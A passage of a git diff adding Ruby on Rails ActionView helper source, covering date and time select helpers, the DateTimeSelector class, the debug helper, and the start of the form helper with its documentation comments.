+ # # Generates a datetime select that discards the type of the field and defaults to the datetime in
+ # # my_date_time (four days after today)
+ # select_datetime(my_date_time, discard_type: true)
+ #
+ # # Generate a datetime field with hours in the AM/PM format
+ # select_datetime(my_date_time, ampm: true)
+ #
+ # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+ # # prefixed with 'payday' rather than 'date'
+ # select_datetime(my_date_time, prefix: 'payday')
+ #
+ # # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+ # select_datetime(my_date_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+ # select_datetime(my_date_time, prompt: {hour: true}) # generic prompt for hours
+ # select_datetime(my_date_time, prompt: true) # generic prompts for all
+ def select_datetime(datetime = Time.current, options = {}, html_options = {})
+ DateTimeSelector.new(datetime, options, html_options).select_datetime
+ end
+
+ # Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+.
+ # It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of
+ # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order.
+ # If the array passed to the <tt>:order</tt> option does not contain all the three symbols, all tags will be hidden.
+ #
+ # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+ #
+ # my_date = Time.now + 6.days
+ #
+ # # Generates a date select that defaults to the date in my_date (six days after today).
+ # select_date(my_date)
+ #
+ # # Generates a date select that defaults to today (no specified date).
+ # select_date()
+ #
+ # # Generates a date select that defaults to the date in my_date (six days after today)
+ # # with the fields ordered year, month, day rather than month, day, year.
+ # select_date(my_date, order: [:year, :month, :day])
+ #
+ # # Generates a date select that discards the type of the field and defaults to the date in
+ # # my_date (six days after today).
+ # select_date(my_date, discard_type: true)
+ #
+ # # Generates a date select that defaults to the date in my_date,
+ # # which has fields separated by '/'.
+ # select_date(my_date, date_separator: '/')
+ #
+ # # Generates a date select that defaults to the datetime in my_date (six days after today)
+ # # prefixed with 'payday' rather than 'date'.
+ # select_date(my_date, prefix: 'payday')
+ #
+ # # Generates a date select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+ # select_date(my_date, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+ # select_date(my_date, prompt: {hour: true}) # generic prompt for hours
+ # select_date(my_date, prompt: true) # generic prompts for all
+ def select_date(date = Date.current, options = {}, html_options = {})
+ DateTimeSelector.new(date, options, html_options).select_date
+ end
+
+ # Returns a set of html select-tags (one for hour and minute).
+ # You can set <tt>:time_separator</tt> key to format the output, and
+ # the <tt>:include_seconds</tt> option to include an input for seconds.
+ #
+ # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+ #
+ # my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
+ #
+ # # Generates a time select that defaults to the time in my_time.
+ # select_time(my_time)
+ #
+ # # Generates a time select that defaults to the current time (no specified time).
+ # select_time()
+ #
+ # # Generates a time select that defaults to the time in my_time,
+ # # which has fields separated by ':'.
+ # select_time(my_time, time_separator: ':')
+ #
+ # # Generates a time select that defaults to the time in my_time,
+ # # that also includes an input for seconds.
+ # select_time(my_time, include_seconds: true)
+ #
+ # # Generates a time select that defaults to the time in my_time, that has fields
+ # # separated by ':' and includes an input for seconds.
+ # select_time(my_time, time_separator: ':', include_seconds: true)
+ #
+ # # Generate a time select field with hours in the AM/PM format
+ # select_time(my_time, ampm: true)
+ #
+ # # Generates a time select field with hours that range from 2 to 14
+ # select_time(my_time, start_hour: 2, end_hour: 14)
+ #
+ # # Generates a time select with a custom prompt. Use <tt>:prompt</tt> to true for generic prompts.
+ # select_time(my_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+ # select_time(my_time, prompt: {hour: true}) # generic prompt for hours
+ # select_time(my_time, prompt: true) # generic prompts for all
+ def select_time(datetime = Time.current, options = {}, html_options = {})
+ DateTimeSelector.new(datetime, options, html_options).select_time
+ end
+
+ # Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
+ # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+ # Override the field name using the <tt>:field_name</tt> option, 'second' by default.
+ #
+ # my_time = Time.now + 16.minutes
+ #
+ # # Generates a select field for seconds that defaults to the seconds for the time in my_time.
+ # select_second(my_time)
+ #
+ # # Generates a select field for seconds that defaults to the number given.
+ # select_second(33)
+ #
+ # # Generates a select field for seconds that defaults to the seconds for the time in my_time
+ # # that is named 'interval' rather than 'second'.
+ # select_second(my_time, field_name: 'interval')
+ #
+ # # Generates a select field for seconds with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_second(14, prompt: 'Choose seconds')
+ def select_second(datetime, options = {}, html_options = {})
+ DateTimeSelector.new(datetime, options, html_options).select_second
+ end
+
+ # Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
+ # Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute
+ # selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+ # Override the field name using the <tt>:field_name</tt> option, 'minute' by default.
+ #
+ # my_time = Time.now + 6.hours
+ #
+ # # Generates a select field for minutes that defaults to the minutes for the time in my_time.
+ # select_minute(my_time)
+ #
+ # # Generates a select field for minutes that defaults to the number given.
+ # select_minute(14)
+ #
+ # # Generates a select field for minutes that defaults to the minutes for the time in my_time
+ # # that is named 'moment' rather than 'minute'.
+ # select_minute(my_time, field_name: 'moment')
+ #
+ # # Generates a select field for minutes with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_minute(14, prompt: 'Choose minutes')
+ def select_minute(datetime, options = {}, html_options = {})
+ DateTimeSelector.new(datetime, options, html_options).select_minute
+ end
+
+ # Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
+ # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+ # Override the field name using the <tt>:field_name</tt> option, 'hour' by default.
+ #
+ # my_time = Time.now + 6.hours
+ #
+ # # Generates a select field for hours that defaults to the hour for the time in my_time.
+ # select_hour(my_time)
+ #
+ # # Generates a select field for hours that defaults to the number given.
+ # select_hour(13)
+ #
+ # # Generates a select field for hours that defaults to the hour for the time in my_time
+ # # that is named 'stride' rather than 'hour'.
+ # select_hour(my_time, field_name: 'stride')
+ #
+ # # Generates a select field for hours with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_hour(13, prompt: 'Choose hour')
+ #
+ # # Generate a select field for hours in the AM/PM format
+ # select_hour(my_time, ampm: true)
+ #
+ # # Generates a select field that includes options for hours from 2 to 14.
+ # select_hour(my_time, start_hour: 2, end_hour: 14)
+ def select_hour(datetime, options = {}, html_options = {})
+ DateTimeSelector.new(datetime, options, html_options).select_hour
+ end
+
+ # Returns a select tag with options for each of the days 1 through 31 with the current day selected.
+ # The <tt>date</tt> can also be substituted for a day number.
+ # If you want to display days with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
+ # Override the field name using the <tt>:field_name</tt> option, 'day' by default.
+ #
+ # my_date = Time.now + 2.days
+ #
+ # # Generates a select field for days that defaults to the day for the date in my_date.
+ # select_day(my_time)
+ #
+ # # Generates a select field for days that defaults to the number given.
+ # select_day(5)
+ #
+ # # Generates a select field for days that defaults to the number given, but displays it with two digits.
+ # select_day(5, use_two_digit_numbers: true)
+ #
+ # # Generates a select field for days that defaults to the day for the date in my_date
+ # # that is named 'due' rather than 'day'.
+ # select_day(my_time, field_name: 'due')
+ #
+ # # Generates a select field for days with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_day(5, prompt: 'Choose day')
+ def select_day(date, options = {}, html_options = {})
+ DateTimeSelector.new(date, options, html_options).select_day
+ end
+
+ # Returns a select tag with options for each of the months January through December with the current month
+ # selected. The month names are presented as keys (what's shown to the user) and the month numbers (1-12) are
+ # used as values (what's submitted to the server). It's also possible to use month numbers for the presentation
+ # instead of names -- set the <tt>:use_month_numbers</tt> key in +options+ to true for this to happen. If you
+ # want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer
+ # to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want
+ # to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names.
+ # If you want to display months with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
+ # Override the field name using the <tt>:field_name</tt> option, 'month' by default.
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys like "January", "March".
+ # select_month(Date.today)
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # is named "start" rather than "month".
+ # select_month(Date.today, field_name: 'start')
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys like "1", "3".
+ # select_month(Date.today, use_month_numbers: true)
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys like "1 - January", "3 - March".
+ # select_month(Date.today, add_month_numbers: true)
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys like "Jan", "Mar".
+ # select_month(Date.today, use_short_month: true)
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys like "Januar", "Marts."
+ # select_month(Date.today, use_month_names: %w(Januar Februar Marts ...))
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys with two digit numbers like "01", "03".
+ # select_month(Date.today, use_two_digit_numbers: true)
+ #
+ # # Generates a select field for months with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_month(14, prompt: 'Choose month')
+ def select_month(date, options = {}, html_options = {})
+ DateTimeSelector.new(date, options, html_options).select_month
+ end
+
+ # Returns a select tag with options for each of the five years on each side of the current, which is selected.
+ # The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the
+ # +options+. Both ascending and descending year lists are supported by making <tt>:start_year</tt> less than or
+ # greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number.
+ # Override the field name using the <tt>:field_name</tt> option, 'year' by default.
+ #
+ # # Generates a select field for years that defaults to the current year that
+ # # has ascending year values.
+ # select_year(Date.today, start_year: 1992, end_year: 2007)
+ #
+ # # Generates a select field for years that defaults to the current year that
+ # # is named 'birth' rather than 'year'.
+ # select_year(Date.today, field_name: 'birth')
+ #
+ # # Generates a select field for years that defaults to the current year that
+ # # has descending year values.
+ # select_year(Date.today, start_year: 2005, end_year: 1900)
+ #
+ # # Generates a select field for years that defaults to the year 2006 that
+ # # has ascending year values.
+ # select_year(2006, start_year: 2000, end_year: 2010)
+ #
+ # # Generates a select field for years with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_year(14, prompt: 'Choose year')
+ def select_year(date, options = {}, html_options = {})
+ DateTimeSelector.new(date, options, html_options).select_year
+ end
+
+ # Returns an html time tag for the given date or time.
+ #
+ # time_tag Date.today # =>
+ # <time datetime="2010-11-04">November 04, 2010</time>
+ # time_tag Time.now # =>
+ # <time datetime="2010-11-04T17:55:45+01:00">November 04, 2010 17:55</time>
+ # time_tag Date.yesterday, 'Yesterday' # =>
+ # <time datetime="2010-11-03">Yesterday</time>
+ # time_tag Date.today, pubdate: true # =>
+ # <time datetime="2010-11-04" pubdate="pubdate">November 04, 2010</time>
+ # time_tag Date.today, datetime: Date.today.strftime('%G-W%V') # =>
+ # <time datetime="2010-W44">November 04, 2010</time>
+ #
+ # <%= time_tag Time.now do %>
+ # <span>Right now</span>
+ # <% end %>
+ # # => <time datetime="2010-11-04T17:55:45+01:00"><span>Right now</span></time>
+ def time_tag(date_or_time, *args, &block)
+ options = args.extract_options!
+ format = options.delete(:format) || :long
+ content = args.first || I18n.l(date_or_time, :format => format)
+ datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.iso8601
+
+ content_tag(:time, content, options.reverse_merge(:datetime => datetime), &block)
+ end
+ end
+
+ class DateTimeSelector #:nodoc:
+ include ActionView::Helpers::TagHelper
+
+ DEFAULT_PREFIX = 'date'.freeze
+ POSITION = {
+ :year => 1, :month => 2, :day => 3, :hour => 4, :minute => 5, :second => 6
+ }.freeze
+
+ AMPM_TRANSLATION = Hash[
+ [[0, "12 AM"], [1, "01 AM"], [2, "02 AM"], [3, "03 AM"],
+ [4, "04 AM"], [5, "05 AM"], [6, "06 AM"], [7, "07 AM"],
+ [8, "08 AM"], [9, "09 AM"], [10, "10 AM"], [11, "11 AM"],
+ [12, "12 PM"], [13, "01 PM"], [14, "02 PM"], [15, "03 PM"],
+ [16, "04 PM"], [17, "05 PM"], [18, "06 PM"], [19, "07 PM"],
+ [20, "08 PM"], [21, "09 PM"], [22, "10 PM"], [23, "11 PM"]]
+ ].freeze
+
+ def initialize(datetime, options = {}, html_options = {})
+ @options = options.dup
+ @html_options = html_options.dup
+ @datetime = datetime
+ @options[:datetime_separator] ||= ' — '
+ @options[:time_separator] ||= ' : '
+ end
+
+ def select_datetime
+ order = date_order.dup
+ order -= [:hour, :minute, :second]
+ @options[:discard_year] ||= true unless order.include?(:year)
+ @options[:discard_month] ||= true unless order.include?(:month)
+ @options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day)
+ @options[:discard_minute] ||= true if @options[:discard_hour]
+ @options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute]
+
+ set_day_if_discarded
+
+ if @options[:tag] && @options[:ignore_date]
+ select_time
+ else
+ [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
+ order += [:hour, :minute, :second] unless @options[:discard_hour]
+
+ build_selects_from_types(order)
+ end
+ end
+
+ def select_date
+ order = date_order.dup
+
+ @options[:discard_hour] = true
+ @options[:discard_minute] = true
+ @options[:discard_second] = true
+
+ @options[:discard_year] ||= true unless order.include?(:year)
+ @options[:discard_month] ||= true unless order.include?(:month)
+ @options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day)
+
+ set_day_if_discarded
+
+ [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
+
+ build_selects_from_types(order)
+ end
+
+ def select_time
+ order = []
+
+ @options[:discard_month] = true
+ @options[:discard_year] = true
+ @options[:discard_day] = true
+ @options[:discard_second] ||= true unless @options[:include_seconds]
+
+ order += [:year, :month, :day] unless @options[:ignore_date]
+
+ order += [:hour, :minute]
+ order << :second if @options[:include_seconds]
+
+ build_selects_from_types(order)
+ end
+
+ def select_second
+ if @options[:use_hidden] || @options[:discard_second]
+ build_hidden(:second, sec) if @options[:include_seconds]
+ else
+ build_options_and_select(:second, sec)
+ end
+ end
+
+ def select_minute
+ if @options[:use_hidden] || @options[:discard_minute]
+ build_hidden(:minute, min)
+ else
+ build_options_and_select(:minute, min, :step => @options[:minute_step])
+ end
+ end
+
+ def select_hour
+ if @options[:use_hidden] || @options[:discard_hour]
+ build_hidden(:hour, hour)
+ else
+ options = {}
+ options[:ampm] = @options[:ampm] || false
+ options[:start] = @options[:start_hour] || 0
+ options[:end] = @options[:end_hour] || 23
+ build_options_and_select(:hour, hour, options)
+ end
+ end
+
+ def select_day
+ if @options[:use_hidden] || @options[:discard_day]
+ build_hidden(:day, day || 1)
+ else
+ build_options_and_select(:day, day, :start => 1, :end => 31, :leading_zeros => false, :use_two_digit_numbers => @options[:use_two_digit_numbers])
+ end
+ end
+
+ def select_month
+ if @options[:use_hidden] || @options[:discard_month]
+ build_hidden(:month, month || 1)
+ else
+ month_options = []
+ 1.upto(12) do |month_number|
+ options = { :value => month_number }
+ options[:selected] = "selected" if month == month_number
+ month_options << content_tag(:option, month_name(month_number), options) + "\n"
+ end
+ build_select(:month, month_options.join)
+ end
+ end
+
+ def select_year
+ if !@datetime || @datetime == 0
+ val = '1'
+ middle_year = Date.today.year
+ else
+ val = middle_year = year
+ end
+
+ if @options[:use_hidden] || @options[:discard_year]
+ build_hidden(:year, val)
+ else
+ options = {}
+ options[:start] = @options[:start_year] || middle_year - 5
+ options[:end] = @options[:end_year] || middle_year + 5
+ options[:step] = options[:start] < options[:end] ? 1 : -1
+ options[:leading_zeros] = false
+ options[:max_years_allowed] = @options[:max_years_allowed] || 1000
+
+ if (options[:end] - options[:start]).abs > options[:max_years_allowed]
+ raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter."
+ end
+
+ build_options_and_select(:year, val, options)
+ end
+ end
+
+ private
+ %w( sec min hour day month year ).each do |method|
+ define_method(method) do
+ @datetime.kind_of?(Numeric) ? @datetime : @datetime.send(method) if @datetime
+ end
+ end
+
+ # If the day is hidden, the day should be set to the 1st so all month and year choices are
+ # valid. Otherwise, February 31st or February 29th, 2011 can be selected, which are invalid.
+ def set_day_if_discarded
+ if @datetime && @options[:discard_day]
+ @datetime = @datetime.change(:day => 1)
+ end
+ end
+
+ # Returns translated month names, but also ensures that a custom month
+ # name array has a leading nil element.
+ def month_names
+ @month_names ||= begin
+ month_names = @options[:use_month_names] || translated_month_names
+ month_names.unshift(nil) if month_names.size < 13
+ month_names
+ end
+ end
+
+ # Returns translated month names.
+ # => [nil, "January", "February", "March",
+ # "April", "May", "June", "July",
+ # "August", "September", "October",
+ # "November", "December"]
+ #
+ # If <tt>:use_short_month</tt> option is set
+ # => [nil, "Jan", "Feb", "Mar", "Apr", "May", "Jun",
+ # "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
+ def translated_month_names
+ key = @options[:use_short_month] ? :'date.abbr_month_names' : :'date.month_names'
+ I18n.translate(key, :locale => @options[:locale])
+ end
+
+ # Lookup month name for number.
+ # month_name(1) => "January"
+ #
+ # If <tt>:use_month_numbers</tt> option is passed
+ # month_name(1) => 1
+ #
+ # If <tt>:use_two_month_numbers</tt> option is passed
+ # month_name(1) => '01'
+ #
+ # If <tt>:add_month_numbers</tt> option is passed
+ # month_name(1) => "1 - January"
+ def month_name(number)
+ if @options[:use_month_numbers]
+ number
+ elsif @options[:use_two_digit_numbers]
+ sprintf "%02d", number
+ elsif @options[:add_month_numbers]
+ "#{number} - #{month_names[number]}"
+ else
+ month_names[number]
+ end
+ end
+
+ def date_order
+ @date_order ||= @options[:order] || translated_date_order
+ end
+
+ def translated_date_order
+ date_order = I18n.translate(:'date.order', :locale => @options[:locale], :default => [])
+ date_order = date_order.map { |element| element.to_sym }
+
+ forbidden_elements = date_order - [:year, :month, :day]
+ if forbidden_elements.any?
+ raise StandardError,
+ "#{@options[:locale]}.date.order only accepts :year, :month and :day"
+ end
+
+ date_order
+ end
+
+ # Build full select tag from date type and options.
+ def build_options_and_select(type, selected, options = {})
+ build_select(type, build_options(selected, options))
+ end
+
+ # Build select option html from date value and options.
+ # build_options(15, start: 1, end: 31)
+ # => "<option value="1">1</option>
+ # <option value="2">2</option>
+ # <option value="3">3</option>..."
+ #
+ # If <tt>use_two_digit_numbers: true</tt> option is passed
+ # build_options(15, start: 1, end: 31, use_two_digit_numbers: true)
+ # => "<option value="1">01</option>
+ # <option value="2">02</option>
+ # <option value="3">03</option>..."
+ #
+ # If <tt>:step</tt> options is passed
+ # build_options(15, start: 1, end: 31, step: 2)
+ # => "<option value="1">1</option>
+ # <option value="3">3</option>
+ # <option value="5">5</option>..."
+ def build_options(selected, options = {})
+ options = {
+ leading_zeros: true, ampm: false, use_two_digit_numbers: false
+ }.merge!(options)
+
+ start = options.delete(:start) || 0
+ stop = options.delete(:end) || 59
+ step = options.delete(:step) || 1
+ leading_zeros = options.delete(:leading_zeros)
+
+ select_options = []
+ start.step(stop, step) do |i|
+ value = leading_zeros ? sprintf("%02d", i) : i
+ tag_options = { :value => value }
+ tag_options[:selected] = "selected" if selected == i
+ text = options[:use_two_digit_numbers] ? sprintf("%02d", i) : value
+ text = options[:ampm] ? AMPM_TRANSLATION[i] : text
+ select_options << content_tag(:option, text, tag_options)
+ end
+
+ (select_options.join("\n") + "\n").html_safe
+ end
+
+ # Builds select tag from date type and html select options.
+ # build_select(:month, "<option value="1">January</option>...")
+ # => "<select id="post_written_on_2i" name="post[written_on(2i)]">
+ # <option value="1">January</option>...
+ # </select>"
+ def build_select(type, select_options_as_html)
+ select_options = {
+ :id => input_id_from_type(type),
+ :name => input_name_from_type(type)
+ }.merge!(@html_options)
+ select_options[:disabled] = 'disabled' if @options[:disabled]
+ select_options[:class] = type if @options[:with_css_classes]
+
+ select_html = "\n"
+ select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
+ select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt]
+ select_html << select_options_as_html
+
+ (content_tag(:select, select_html.html_safe, select_options) + "\n").html_safe
+ end
+
+ # Builds a prompt option tag with supplied options or from default options.
+ # prompt_option_tag(:month, prompt: 'Select month')
+ # => "<option value="">Select month</option>"
+ def prompt_option_tag(type, options)
+ prompt = case options
+ when Hash
+ default_options = {:year => false, :month => false, :day => false, :hour => false, :minute => false, :second => false}
+ default_options.merge!(options)[type.to_sym]
+ when String
+ options
+ else
+ I18n.translate(:"datetime.prompts.#{type}", :locale => @options[:locale])
+ end
+
+ prompt ? content_tag(:option, prompt, :value => '') : ''
+ end
+
+ # Builds hidden input tag for date part and value.
+ # build_hidden(:year, 2008)
+ # => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
+ def build_hidden(type, value)
+ select_options = {
+ :type => "hidden",
+ :id => input_id_from_type(type),
+ :name => input_name_from_type(type),
+ :value => value
+ }.merge!(@html_options.slice(:disabled))
+ select_options[:disabled] = 'disabled' if @options[:disabled]
+
+ tag(:input, select_options) + "\n".html_safe
+ end
+
+ # Returns the name attribute for the input tag.
+ # => post[written_on(1i)]
+ def input_name_from_type(type)
+ prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
+ prefix += "[#{@options[:index]}]" if @options.has_key?(:index)
+
+ field_name = @options[:field_name] || type
+ if @options[:include_position]
+ field_name += "(#{ActionView::Helpers::DateTimeSelector::POSITION[type]}i)"
+ end
+
+ @options[:discard_type] ? prefix : "#{prefix}[#{field_name}]"
+ end
+
+ # Returns the id attribute for the input tag.
+ # => "post_written_on_1i"
+ def input_id_from_type(type)
+ id = input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
+ id = @options[:namespace] + '_' + id if @options[:namespace]
+
+ id
+ end
+
+ # Given an ordering of datetime components, create the selection HTML
+ # and join them with their appropriate separators.
+ def build_selects_from_types(order)
+ select = ''
+ first_visible = order.find { |type| !@options[:"discard_#{type}"] }
+ order.reverse.each do |type|
+ separator = separator(type) unless type == first_visible # don't add before first visible field
+ select.insert(0, separator.to_s + send("select_#{type}").to_s)
+ end
+ select.html_safe
+ end
+
+ # Returns the separator for a given datetime component.
+ def separator(type)
+ return "" if @options[:use_hidden]
+
+ case type
+ when :year, :month, :day
+ @options[:"discard_#{type}"] ? "" : @options[:date_separator]
+ when :hour
+ (@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator]
+ when :minute, :second
+ @options[:"discard_#{type}"] ? "" : @options[:time_separator]
+ end
+ end
+ end
+
+ class FormBuilder
+ # Wraps ActionView::Helpers::DateHelper#date_select for form builders:
+ #
+ # <%= form_for @person do |f| %>
+ # <%= f.date_select :birth_date %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def date_select(method, options = {}, html_options = {})
+ @template.date_select(@object_name, method, objectify_options(options), html_options)
+ end
+
+ # Wraps ActionView::Helpers::DateHelper#time_select for form builders:
+ #
+ # <%= form_for @race do |f| %>
+ # <%= f.time_select :average_lap %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def time_select(method, options = {}, html_options = {})
+ @template.time_select(@object_name, method, objectify_options(options), html_options)
+ end
+
+ # Wraps ActionView::Helpers::DateHelper#datetime_select for form builders:
+ #
+ # <%= form_for @person do |f| %>
+ # <%= f.time_select :last_request_at %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def datetime_select(method, options = {}, html_options = {})
+ @template.datetime_select(@object_name, method, objectify_options(options), html_options)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/debug_helper.rb b/actionpack/lib/action_view/helpers/debug_helper.rb
new file mode 100644
index 0000000..c29c1b1
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/debug_helper.rb
@@ -0,0 +1,39 @@
+module ActionView
+ # = Action View Debug Helper
+ #
+ # Provides a set of methods for making it easier to debug Rails objects.
+ module Helpers
+ module DebugHelper
+
+ include TagHelper
+
+ # Returns a YAML representation of +object+ wrapped with <pre> and </pre>.
+ # If the object cannot be converted to YAML using +to_yaml+, +inspect+ will be called instead.
+ # Useful for inspecting an object at the time of rendering.
+ #
+ # @user = User.new({ username: 'testing', password: 'xyz', age: 42}) %>
+ # debug(@user)
+ # # =>
+ # <pre class='debug_dump'>--- !ruby/object:User
+ # attributes:
+ # updated_at:
+ # username: testing
+ #
+ # age: 42
+ # password: xyz
+ # created_at:
+ # attributes_cache: {}
+ #
+ # new_record: true
+ # </pre>
+ def debug(object)
+ Marshal::dump(object)
+ object = ERB::Util.html_escape(object.to_yaml).gsub(" ", " ").html_safe
+ content_tag(:pre, object, :class => "debug_dump")
+ rescue Exception # errors from Marshal or YAML
+ # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback
+ content_tag(:code, object.inspect, :class => "debug_dump")
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/form_helper.rb b/actionpack/lib/action_view/helpers/form_helper.rb
new file mode 100644
index 0000000..36dedf0
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/form_helper.rb
@@ -0,0 +1,1880 @@
+require 'cgi'
+require 'action_view/helpers/date_helper'
+require 'action_view/helpers/tag_helper'
+require 'action_view/helpers/form_tag_helper'
+require 'action_view/helpers/active_model_helper'
+require 'action_view/helpers/tags'
+require 'action_view/model_naming'
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/string/inflections'
+
+module ActionView
+ # = Action View Form Helpers
+ module Helpers
+ # Form helpers are designed to make working with resources much easier
+ # compared to using vanilla HTML.
+ #
+ # Typically, a form designed to create or update a resource reflects the
+ # identity of the resource in several ways: (i) the url that the form is
+ # sent to (the form element's +action+ attribute) should result in a request
+ # being routed to the appropriate controller action (with the appropriate <tt>:id</tt>
+ # parameter in the case of an existing resource), (ii) input fields should
+ # be named in such a way that in the controller their values appear in the
+ # appropriate places within the +params+ hash, and (iii) for an existing record,
+ # when the form is initially displayed, input fields corresponding to attributes
+ # of the resource should show the current values of those attributes.
+ #
+ # In Rails, this is usually achieved by creating the form using +form_for+ and
+ # a number of related helper methods. +form_for+ generates an appropriate <tt>form</tt>
+ # tag and yields a form builder object that knows the model the form is about.
+ # Input fields are created by calling methods defined on the form builder, which
+ # means they are able to generate the appropriate names and default values
+ # corresponding to the model attributes, as well as convenient IDs, etc.
+ # Conventions in the generated field names allow controllers to receive form data
+ # nicely structured in +params+ with no effort on your side.
+ #
+ # For example, to create a new person you typically set up a new instance of
+ # +Person+ in the <tt>PeopleController#new</tt> action, <tt>@person</tt>, and
+ # in the view template pass that object to +form_for+:
+ #
+ # <%= form_for @person do |f| %>
+ # <%= f.label :first_name %>:
+ # <%= f.text_field :first_name %><br />
+ #
+ # <%= f.label :last_name %>:
+ # <%= f.text_field :last_name %><br />
+ #
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # The HTML generated for this would be (modulus formatting):
+ #
+ # <form action="/people" class="new_person" id="new_person" method="post">
+ # <div style="margin:0;padding:0;display:inline">
+ # <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+ # </div>
+ # <label for="person_first_name">First name</label>:
+ # <input id="person_first_name" name="person[first_name]" type="text" /><br />
+ #
+ # <label for="person_last_name">Last name</label>:
+ # <input id="person_last_name" name="person[last_name]" type="text" /><br />
+ #
+ # <input name="commit" type="submit" value="Create Person" />
+ # </form>
+ #
+ # As you see, the HTML reflects knowledge about the resource in several spots,
+ # like the path the form should be submitted to, or the names of the input fields.
+ #
+ # In particular, thanks to the conventions followed in the generated field names, the
+ # controller gets a nested hash <tt>params[:person]</tt> with the person attributes
+ # set in the form. That hash is ready to be passed to <tt>Person.create</tt>:
+ #
+ # if @person = Person.create(params[:person])
+ # # success
+ # else
+ # # error handling
+ # end
+ #
+ # Interestingly, the exact same view code in the previous example can be used to edit
+ # a person. If <tt>@person</tt> is an existing record with name "John Smith" and ID 256,
+ # the code above as is would yield instead:
+ #
+ # <form action="/people/256" class="edit_person" id="edit_person_256" method="post">
+ # <div style="margin:0;padding:0;display:inline">
+ # <input name="_method" type="hidden" value="patch" />
+ # <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+ # </div>
+ # <label for="person_first_name">First name</label>:
+ # <input id="person_first_name" name="person[first_name]" type="text" value="John" /><br />
+ #
+ # <label for="person_last_name">Last name</label>:
+ # <input id="person_last_name" name="person[last_name]" type="text" value="Smith" /><br />
+ #
+ # <input name="commit" type="submit" value="Update Person" />
+ # </form>
+ #
+ # Note that the endpoint, default values, and submit button label are tailored for <tt>@person</tt>.
+ # That works that way because the involved helpers know whether the resource is a new record or not,
+ # and generate HTML accordingly.
+ #
+ # The controller would receive the form data again in <tt>params[:person]</tt>, ready to be
+ # passed to <tt>Person#update</tt>:
+ #
+ # if @person.update(params[:person])
+ # # success
+ # else
+ # # error handling
+ # end
+ #
+ # That's how you typically work with resources.
+ module FormHelper
+ extend ActiveSupport::Concern
+
+ include FormTagHelper
+ include UrlHelper
+ include ModelNaming
+
